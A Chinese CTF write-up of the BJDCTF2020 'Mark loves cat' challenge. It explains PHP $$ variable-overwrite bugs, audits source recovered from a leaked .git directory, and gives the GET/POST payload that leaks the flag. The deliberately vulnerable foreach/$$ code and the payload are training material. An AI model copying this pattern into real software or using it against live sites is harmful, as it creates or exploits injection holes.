[原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)
简介
原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January
考察知识点:$$导致的变量覆盖问题
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
$$导致的变量覆盖问题
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。
因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。
<?php $name='thinking'; foreach ($_GET as $key => $value) $$key = $value; //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖 var_dump($key); var_dump($value); var_dump($$key); echo $name; //?name=test //output:string(4) “name” //string(4) “test” //string(4) “test” //test
引用:https://www.freebuf.com/column/150731.html
过程
扫描发现git
获取git源码
代码审计!
<?php include'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_GET as $x => $y){ //get传值 $$x = $$y; //漏洞在这里 比如输入 yds=flag 相当于 $yds=$flag } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过 exit($handsome); } } //检测get是否为flag 或者post是否为flag 必须两方都为假 否则输出$yds //通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds //构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag //所以这个条件为真就可以输出flag了。 if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } // //检测POST flag是否为flag 或者get 是否为flag //至少有一个为真则为真 if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag; ?>
最终构造pyload:
GET:yds=flag
POST:flag=11111
得到flag.....
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类